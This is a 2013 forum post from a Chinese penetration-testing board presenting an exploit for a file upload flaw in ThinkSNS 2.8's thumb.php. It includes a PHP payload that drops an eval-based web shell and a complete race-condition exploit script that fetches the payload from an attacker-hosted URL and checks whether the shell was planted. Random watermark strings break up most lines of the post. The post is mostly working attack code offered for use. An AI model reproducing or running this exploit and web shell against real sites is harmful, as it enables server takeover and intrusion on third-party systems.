中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
8 Z* t9 z. _% z% Q/ u( I ~
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
5 s( b7 @7 L3 j
漏洞文件
/ m& _4 ?% [8 _+ o* c
存在漏洞的文件为:thumb.php
+ K2 E4 `: [& V. B$ W$ _! k
作者:韦鲲鹏
+ |) J/ \% }9 z! F# d, m
1、 准备如下PHP文件并上传到服务器(自己的)。
" n- V! t# F6 `
文件内容如下:
" I/ `) M1 j/ \! z2 a9 e- W6 W
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
& D8 [) k l4 x$ `9 w. v; \
2、 计算出临时的文件名:
) X8 q8 e9 c; S& Q% I% o
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
, ]0 y0 i( K1 \% _ X5 B4 C$ t) A
2 y n& \% Z7 b+ c6 q3 m$ \) E3 d
3、 上传临时文件。
h6 c* s5 C7 n8 s- A- W3 x
4、 访问临时文件。
9 K8 R% s$ b3 ^
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
) J* B& `. U6 j
Exploit文件内容如下:(这个我就不详细解释了)
: a( m) e j3 Q# [
<?php
$ ~( B# |/ j. ^$ Y( q& D v8 ^
error_reporting(0);
" ]- l. { H: n2 b
set_time_limit(0);
$ V, }; ~2 H# l2 T. N- Q
ini_set(“default_socket_timeout”, 5);
4 O3 G" q" U7 L. ]6 P
function http_send($host, $port, $headers) {
9 [9 C; N- b) J. ]% _- V
$fp = fsockopen($host, $port);
) r/ c: h3 U$ y
if (!$fp) die(‘Connection -> fail’);
4 Y" H9 a7 N5 [' T8 H W
fputs($fp, $headers);
6 \, _4 R8 [3 I& V9 F
return $fp;
" o3 R/ x8 L% m# m
}
& d" Z9 w: R% N. G6 k' J! w
function http_recv($fp) {
: g! ^5 [( |2 Z' S; y \$ d; z: f
$ret=”";
0 S* l8 M$ H- c- L( h6 g' g6 \9 D2 X
while (!feof($fp))
$ `1 T+ }* K, m- C: s" d
$ret.= fgets($fp, 1024);
: E8 p8 F+ r) S* e% q- ^
fclose($fp);
' [# G% B/ |+ B) D6 U& `2 _
return $ret;
; M: z7 B! ~: D" V+ \; `
}
/ q, j5 R% _$ y% B. o
print “\n# ThinkSns Arbitrary File Upload #\n”;
/ ]0 U; L) V4 w- S: M F
print “# Discovered by 韦鲲鹏 #\n\n”;
& i: u" d! V/ E
if ($argc < 4) {
2 m8 R" q. T0 p
print “Usage: php <host> <path> <romote_url>\n”;
4 a. ^+ A. [- U! l y+ ]* R
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
6 m: Y2 x, \- N+ }. a8 M
die();
) J4 w; I; P) M7 a
}
4 ]$ f5 ^- k; l! E/ A$ j- t
$host = $argv[1];
" I: p0 }1 T2 k l s( r+ K& J8 p
$path = $argv[2];
9 x7 p) B0 }8 y7 p0 j4 n* \
$url = $argv[3];
. _+ |% n3 ?- [4 u# D1 O5 F
$i=0;
" f6 q# F, M5 a( v+ J, s
//上传数据包
! A3 G$ g& }! n' L1 f
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
6 M; B$ m x4 j3 g' `' T
$headers_up .= “Host: “.$host.”\r\n”;
/ a4 ~* D5 O2 w7 R/ `4 [. I8 |0 |
$headers_up .= “Connection: close\r\n\r\n”;
8 q( H& m8 @& t% }) B& P* `! F, n1 {
echo $headers_up;
/ @) F7 Z9 K' C# n. n
//临时文件访问数据包
3 p: Y6 r- i% V7 [: V% a
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
, ?* L! r6 r, m' i
$headers .= “Host: “.$host.”\r\n”;
$ r Y4 X( E& L* R
$headers .= “Connection: close\r\n\r\n”;
( M" @1 m: s& @& f1 u- @
echo $headers;
0 x5 B0 i5 B& U& c8 ]
while(++$i<10) {
D' Y- D d8 Q" B% z5 s, n
fclose(http_send($host, 80, $headers));
% a/ M% {- X) l) R+ R: s7 t
}
" c* p2 d8 s* z! U7 X, d
fclose(http_send($host, 80, $headers_up));
7 R* Q: c5 G8 e
while(++$i<50) {
- K9 o1 k7 v- f( [- ^
fclose(http_send($host, 80, $headers));
0 [6 r% B5 H5 B3 m# A, ^: A
}
& s* s8 c$ k: ?7 c
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
2 i% \. i r9 X. v V& T8 ^
$headers .= “Host: “.$host.”\r\n”;
$ A' I) K) f6 F/ D6 E
$headers .= “Connection: close\r\n\r\n”;
8 A& C# Z/ x* X5 p/ ]# p
$res=http_recv(http_send($host, 80, $headers));
, }$ x( n- C% h2 D
if(preg_match(‘/200 OK/’,$res)) {
- H* Z! o( ^' T
print “Success!\n\n”;
5 t* [1 o6 B0 l( [/ q4 y
} else {
+ P. m/ ~% B; ~; g
print “Fail!\n\n”;
, v& O7 ^$ n7 H9 b( j" T J
}
3 Y! q0 k+ K; D
?>
$ C0 W7 G1 h1 m" h% L. _; @* k6 r
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2